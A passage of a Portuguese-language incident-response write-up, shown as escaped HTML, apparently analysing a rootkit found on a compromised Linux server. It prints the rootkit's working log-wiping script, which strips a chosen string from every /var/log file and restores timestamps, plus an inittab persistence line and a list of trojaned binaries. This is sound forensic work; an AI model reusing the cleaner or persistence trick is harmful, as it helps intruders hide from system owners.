rgb(153, 102, 51);"&gt;DGRN='' &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;DYEL='' &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;DBLU='' &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;DMAG='' &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;DCYN='' &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;DWHI='' &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;RES='' &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;echo "${BLK}* ${WHI}sauber ${DWHI}by ${WHI}s${BLU}o${DBLU}ck${BLK}ed [${DWHI}07${BLK}.${DWHI}27${BLK}.${DWHI}97${BLK}]${RES}" &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;if [ $# != 1 ] &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;then &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;  echo "${BLK}* ${DWHI}Usage${WHI}: "`basename $0`" &lt;${DWHI}string${WHI}&gt;${RES}" &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;  echo " " &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;  exit &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;fi &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;echo "${BLK}*${RES}" &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;echo "${BLK}* ${DWHI}Cleaning logs.. This may take a bit depending on the size of the logs.${RES}" &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;WERD=$(/bin/ls -F /var/log | grep -v "/" | grep -v "*" | grep -v ".tgz" | grep -v ".gz" | grep -v ".tar" | grep -v "lastlog" | grep -v "utmp" | grep -v "wtmp" | grep -v "@") &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;for fil in $WERD &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;do &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   line=$(wc -l /var/log/$fil | awk -F ' ' '{print $1}') &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   echo -n "${BLK}* ${DWHI}Cleaning ${WHI}$fil ($line ${DWHI}lines${WHI})${BLK}...${RES}" &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   grep -v $1 /var/log/$fil &gt; new &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   touch -r /var/log/$fil new &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   mv -f new /var/log/$fil &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   newline=$(wc -l /var/log/$fil | awk -F ' ' '{print $1}') &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   let linedel=$(($line-$newline)) &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;   echo "${WHI}$linedel ${DWHI}lines removed!${RES}" &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;done &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;killall -HUP syslogd &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;echo "${BLK}* ${DWHI}Alles sauber mein Meister !'Q%&amp;amp;@$! ${RES}" &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;# file utilz/ &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;utilz/: directory &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;# cd utilz/ &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;# ls &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;mirk.tgz  synscan.tgz &lt;/p&gt;   &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;# tar -tvzf mirk.tgz  &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;drwxrwxr-x burim/burim       0 2003-04-06 08:58 mirk/ &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rw-rw-r-- burim/burim    4320 2001-12-30 08:10 mirk/idents &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rw-rw-r-- burim/burim    4320 2001-12-30 08:09 mirk/nicks &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rw-rw-r-- burim/burim    2021 2003-04-06 08:57 mirk/realnames &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwx------ burim/burim      40 2002-02-21 05:19 mirk/mf &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwx------ burim/burim     268 2002-02-21 05:19 mirk/mfclean &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxrwxr-x burim/burim   97845 2002-02-21 05:30 mirk/mirkforce &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwx------ burim/burim    3232 2002-05-24 06:26 mirk/ethclean &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-xr-x burim/burim   21924 2003-04-17 01:11 mirk/oidentd &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;# tar -tvzf synscan.tgz  &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;drwxr-xr-x burim/burim       0 2003-04-06 08:54 synscan/ &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rw-r--r-- burim/burim      19 2001-02-15 20:58 synscan/ircd.txt &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rw-r--r-- burim/burim   81518 1999-01-13 21:44 synscan/libpcap.a &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rw-r--r-- burim/burim      13 2000-05-15 18:05 synscan/news.txt &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rw-r--r-- burim/burim     165 2003-04-06 08:54 synscan/rpcs.txt &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-xr-x burim/burim   31232 2003-04-17 01:12 synscan/synscan &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-xr-x burim/burim   38420 2003-04-17 01:12 synscan/upscan &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-xr-x burim/burim    3884 2003-04-17 01:12 synscan/numip &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-xr-x burim/burim    6356 2003-04-17 01:12 synscan/host2ip &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-xr-x burim/burim   19644 2003-04-06 08:54 synscan/nscan &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p class="western" style="margin-bottom: 0cm; color: rgb(51, 0, 51);"&gt;Nos últimos arquivos analisados temos scripts que fazem o tralho sujo de limpar os arquivos de log's ..  um servidor irc e o synscan (network testing tool and active OS fingerprinter).&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(51, 0, 51);"&gt;Procurando como a rootkit era iniciada no boot do servidor ….  &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(51, 0, 51);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(51, 0, 51);"&gt; Uma simples verificação no /etc/initab nos mostrou a resposta&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;# cat /mnt/homer/etc/initab&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# /etc/inittab: init(8) configuration. &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# $Id: inittab,v 1.91 2002/01/25 13:35:21 miquels Exp $ &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# The default runlevel. &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;id:2:initdefault: &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# Boot-time system configuration/initialization script. &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# This is run first except when booting in emergency (-b) mode. &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;si::sysinit:/etc/init.d/rcS &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# What to do in single-user mode. &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;~~:S:wait:/sbin/sulogin &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# /etc/init.d executes the S and K scripts upon change &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# of runlevel. &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# Runlevel 0 is halt. &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# Runlevel 1 is single-user. &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# Runlevels 2-5 are multi-user. &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# Runlevel 6 is reboot. &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;l0:0:wait:/etc/init.d/rc 0 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;l1:1:wait:/etc/init.d/rc 1 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;l2:2:wait:/etc/init.d/rc 2 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;l3:3:wait:/etc/init.d/rc 3 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;l4:4:wait:/etc/init.d/rc 4 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;l5:5:wait:/etc/init.d/rc 5 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;l6:6:wait:/etc/init.d/rc 6 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# Normally not reached, but fallthrough in case of emergency. &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;z6:6:respawn:/sbin/sulogin &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# What to do when CTRL-ALT-DEL is pressed. &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# Action on special keypress (ALT-UpArrow). &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;#kb::kbrequest:/bin/echo "Keyboard Request--edit /etc/inittab to let this work." &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# What to do when the power fails/returns. &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;pf::powerwait:/etc/init.d/powerfail start &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;pn::powerfailnow:/etc/init.d/powerfail now &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;po::powerokwait:/etc/init.d/powerfail stop &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# The "id" field MUST be the same as the last &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# characters of the device (after "tty"). &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# Format: &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;#  &lt;id&gt;:&lt;runlevels&gt;:&lt;action&gt;:&lt;process&gt; &lt;/process&gt;&lt;/action&gt;&lt;/runlevels&gt;&lt;/id&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# Note that on most Debian systems tty7 is used by the X Window System, &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;# &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;SV:123456:respawn:/usr/local/bin/svscanboot &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51); font-weight: bold;"&gt;# Loading standard ttys &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(255, 0, 0); font-weight: bold;"&gt;0:2345:once:/usr/sbin/ttyload &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51); font-weight: bold;"&gt;# /sbin/getty invocations for the runlevels. &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51); font-weight: bold;"&gt;# so if you want to add more getty's go ahead but skip tty7 if you run X. &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51); font-weight: bold;"&gt;1:2345:respawn:/sbin/getty 38400 tty1 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51); font-weight: bold;"&gt;2:23:respawn:/sbin/getty 38400 tty2 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51); font-weight: bold;"&gt;3:23:respawn:/sbin/getty 38400 tty3 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51); font-weight: bold;"&gt;4:23:respawn:/sbin/getty 38400 tty4 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51); font-weight: bold;"&gt;5:23:respawn:/sbin/getty 38400 tty5 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51); font-weight: bold;"&gt;6:23:respawn:/sbin/getty 38400 tty6 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51); font-weight: bold;"&gt;# Example how to put a getty on a serial line (for a terminal) &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51); font-weight: bold;"&gt;#T0:23:respawn:/sbin/getty -L ttyS0 9600 vt100 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51); font-weight: bold;"&gt;#T1:23:respawn:/sbin/getty -L ttyS1 9600 vt100 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51); font-weight: bold;"&gt;# Example how to put a getty on a modem line. &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51); font-weight: bold;"&gt;#T3:23:respawn:/sbin/mgetty -x0 -s 57600 ttyS3 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51); font-weight: bold;"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51); font-weight: bold;"&gt;# modem getty. &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51); font-weight: bold;"&gt;# mo:235:respawn:/usr/sbin/mgetty -s 38400 modem &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51); font-weight: bold;"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51); font-weight: bold;"&gt;# fax getty (hylafax) &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51); font-weight: bold;"&gt;# mo:35:respawn:/usr/lib/fax/faxgetty /dev/modem &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51); font-weight: bold;"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51); font-weight: bold;"&gt;# vbox (voice box) getty &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51); font-weight: bold;"&gt;# I6:35:respawn:/usr/sbin/vboxgetty -d /dev/ttyI6 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51); font-weight: bold;"&gt;# I7:35:respawn:/usr/sbin/vboxgetty -d /dev/ttyI7 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51); font-weight: bold;"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51); font-weight: bold;"&gt;# end of /etc/inittab &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;0:2345:once:/usr/sbin/ttyload #&lt;/span&gt; essa linha mágica da rootkit ...&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;Conteúdo do ttyload são dois binários &lt;/p&gt;  &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;# file /mnt/homer/usr/sbin/ttyload &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;/mnt/homer/usr/sbin/ttyload: ASCII text&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;# cat /mnt/homer/usr/sbin/ttyload  &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;/sbin/ttyload -q &gt;/dev/null 2&gt;&amp;amp;1 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;/sbin/ttymon &gt;/dev/null 2&gt;&amp;amp;1&lt;br /&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;span style="color: rgb(153, 102, 51);"&gt;  &lt;/span&gt;# file /mnt/homer/sbin/ttyload &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;/mnt/homer/sbin/ttyload: ELF 32-bit LSB executable, Intel 80386, version 1, statically linked, corrupted section header size &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;# file /mnt/homer/sbin/ttymon&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;/mnt/homer/sbin/ttymon: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.2.5, stripped &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; font-weight: bold;"&gt;* Mais como? &lt;/p&gt;  &lt;p class="western" style="margin-bottom: 0cm;"&gt;Bom agora nos resta saber como o servidor foi comprometido …  &lt;/p&gt;  &lt;p class="western" style="margin-bottom: 0cm;"&gt;Pelas datas dos arquivos criados usando o nosso velho amigo “find” para procurar arquivos modificados a partir de um dia antes dos artefatos instalados ...&lt;br /&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt; # ls -l /mnt/homer/sbin/ttyload &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-xr-x 1 122 114 212747 &lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;2007-01-30 16:51&lt;/span&gt; /mnt/homer/sbin/ttyload&lt;/p&gt;  &lt;p class="western" style="margin-bottom: 0cm; color: rgb(51, 0, 51);"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0cm; color: rgb(51, 0, 51);"&gt;Criando arquivo de marca  para busca com find&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;# touch -d "26 may 2009 15:30:00" /tmp/date_marker &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;# find . -newer /tmp/date_marker -exec ls -l {} \; &gt;  &gt; /tmp/arquivos-modificados-a-partir-de-2009-05-26-com-data.txt&lt;br /&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(51, 0, 51);"&gt;Procurando arquivos do mesmo dia e hora dos artefatos:&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0cm; color: rgb(51, 0, 51);"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p class="western" style="margin-bottom: 0cm; color: rgb(0, 0, 153);"&gt;# grep "2009-05-27 15:.." /tmp/arquivos-modificados-a-partir-de-2009-05-26.txt  &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;drwxr-xr-x  2 root root  4096 2009-05-27 15:30 sbin &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;drwxr-xr-x  6 root root    4096 2009-05-27 15:30 libsh &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-xr-x 1 root root 75748 2009-05-27 15:30 find &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-xr-x 1 root root 58380 2009-05-27 15:30 ifconfig &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-xr-x 1 root root 77352 2009-05-27 15:30 ls &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-xr-x 1 root root 22116 2009-05-27 15:30 md5sum &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-xr-x 1 root root 98188 2009-05-27 15:30 netstat &lt;/p&gt; &lt;p class="western" 